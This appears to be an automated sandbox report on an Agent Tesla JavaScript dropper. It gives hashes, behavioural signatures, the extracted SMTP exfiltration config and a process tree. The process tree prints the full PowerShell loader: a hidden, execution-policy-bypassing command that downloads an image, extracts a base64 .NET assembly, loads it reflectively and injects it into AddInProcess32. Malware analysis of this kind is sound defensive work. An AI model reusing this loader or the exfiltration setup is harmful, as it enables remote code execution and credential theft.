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Analysis
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max time kernel
128s -
max time network
130s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
09/09/2024, 08:28
Static task
static1
Behavioral task
behavioral1
Sample
Enquiry.js
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
Enquiry.js
Resource
win10v2004-20240802-en
General
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Target
Enquiry.js
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Size
596KB
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MD5
105def88c4331e85779e06dbc7c00e3e
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SHA1
fffd01668e5e89070dfcfd6d00a29c1a61dc24cc
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SHA256
a628f04e39961298f24582de4663c75526326cba75a8271930c1af8fa38fc4d3
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SHA512
99b5ccc6b37daa57d448a0c8aa006e329eeb241412a6035ae97e2128c7e87917457db64b9d8f11b34ea392fe7e754eaad5ac5f1dbe16c42b0b4b1e3de1f7d653
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SSDEEP
12288:2EgoQ9/ikF+jw136w/wVMQr0I/A5ez/3yiQRQiBLXA0kRo824N5xsGJ8xFiVuSOc:dBTYgQYvp8sR5
Malware Config
Extracted
https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg
https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg
Extracted
agenttesla
Protocol: smtp- Host:
mail.mohawatradingco.com - Port:
587 - Username:
[email protected] - Password:
mohawatradingco.com - Email To:
[email protected]
Signatures
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AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
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Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
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Blocklisted process makes network request 2 IoCs
flow pid Process 9 2852 powershell.exe 21 2852 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 4292 powershell.exe 2852 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Control Panel\International\Geo\Nation wscript.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 23 ip-api.com -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2852 set thread context of 3420 2852 powershell.exe 101 -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language AddInProcess32.exe -
Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 4292 powershell.exe 4292 powershell.exe 2852 powershell.exe 2852 powershell.exe 3420 AddInProcess32.exe 3420 AddInProcess32.exe 3420 AddInProcess32.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 4292 powershell.exe Token: SeDebugPrivilege 2852 powershell.exe Token: SeDebugPrivilege 3420 AddInProcess32.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 4500 wrote to memory of 4292 4500 wscript.exe 90 PID 4500 wrote to memory of 4292 4500 wscript.exe 90 PID 4292 wrote to memory of 2852 4292 powershell.exe 92 PID 4292 wrote to memory of 2852 4292 powershell.exe 92 PID 2852 wrote to memory of 3420 2852 powershell.exe 101 PID 2852 wrote to memory of 3420 2852 powershell.exe 101 PID 2852 wrote to memory of 3420 2852 powershell.exe 101 PID 2852 wrote to memory of 3420 2852 powershell.exe 101 PID 2852 wrote to memory of 3420 2852 powershell.exe 101 PID 2852 wrote to memory of 3420 2852 powershell.exe 101 PID 2852 wrote to memory of 3420 2852 powershell.exe 101 PID 2852 wrote to memory of 3420 2852 powershell.exe 101
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Enquiry.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4500 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JABpAG0AYQBnAGUAVQByAGwAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AaQBhADYAMAAxADYAMAA2AC4AdQBzAC4AYQByAGMAaABpAHYAZQAuAG8AcgBnAC8AMQAwAC8AaQB0AGUAbQBzAC8AZABlAGEAdABoAG4AbwB0AGUAXwAyADAAMgA0ADAANwAvAGQAZQBhAHQAaABuAG8AdABlAC4AagBwAGcAJwA7ACQAdwBlAGIAQwBsAGkAZQBuAHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAD0AIAAkAHcAZQBiAEMAbABpAGUAbgB0AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAGkAbQBhAGcAZQBVAHIAbAApADsAJABpAG0AYQBnAGUAVABlAHgAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAKQA7ACQAcwB0AGEAcgB0AEYAbABhAGcAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBTAFQAQQBSAFQAPgA+ACcAOwAkAGUAbgBkAEYAbABhAGcAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4AJwA7ACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AEYAbABhAGcAKQA7ACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwAkAHMAdABhAHIAdABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABlAG4AZABJAG4AZABlAHgAIAAtAGcAdAAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAA7ACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgACQAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7ACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAIAA9ACAAJABlAG4AZABJAG4AZABlAHgAIAAtACAAJABzAHQAYQByAHQASQBuAGQAZQB4ADsAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaAApADsAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACkAOwAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwApADsAJAB0AHkAcABlACAAPQAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAZABuAGwAaQBiAC4ASQBPAC4ASABvAG0AZQAnACkAOwAkAG0AZQB0AGgAbwBkACAAPQAgACQAdAB5AHAAZQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBWAEEASQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwB0AHgAdAAuADkAOQAvAHYAZQBkAC4AMgByAC4ANAA3AGEAZgAzADIAYQBlAGMAOABlADYAMABhADcAOAAyADcAOQA0ADYAMAAzAGMAMABiADEAMwA0AGMAOQAzAC0AYgB1AHAALwAvADoAcwBwAHQAdABoACcAIAAsACAAJwBkAGUAcwBhAHQAaQB2AGEAZABvACcAIAAsACAAJwBkAGUAcwBhAHQAaQB2AGEAZABvACcAIAAsACAAJwBkAGUAcwBhAHQAaQB2AGEAZABvACcALAAnAEEAZABkAEkAbgBQAHIAbwBjAGUAcwBzADMAMgAnACwAJwBkAGUAcwBhAHQAaQB2AGEAZABvACcAKQApAA==';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4292 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.99/ved.2r.47af32aec8e60a782794603c0b134c93-bup//:sptth' , 'desativado' , 'desativado' , 'desativado','AddInProcess32','desativado'))"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2852 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"4⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3420
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=3708,i,10597648459838880772,16562651767759956329,262144 --variations-seed-version --mojo-platform-channel-handle=3844 /prefetch:81⤵PID:2732
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
3KB
MD5f41839a3fe2888c8b3050197bc9a0a05
SHA10798941aaf7a53a11ea9ed589752890aee069729
SHA256224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
SHA5122acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699
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Filesize
64B
MD55caad758326454b5788ec35315c4c304
SHA13aef8dba8042662a7fcf97e51047dc636b4d4724
SHA25683e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391
SHA5124e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82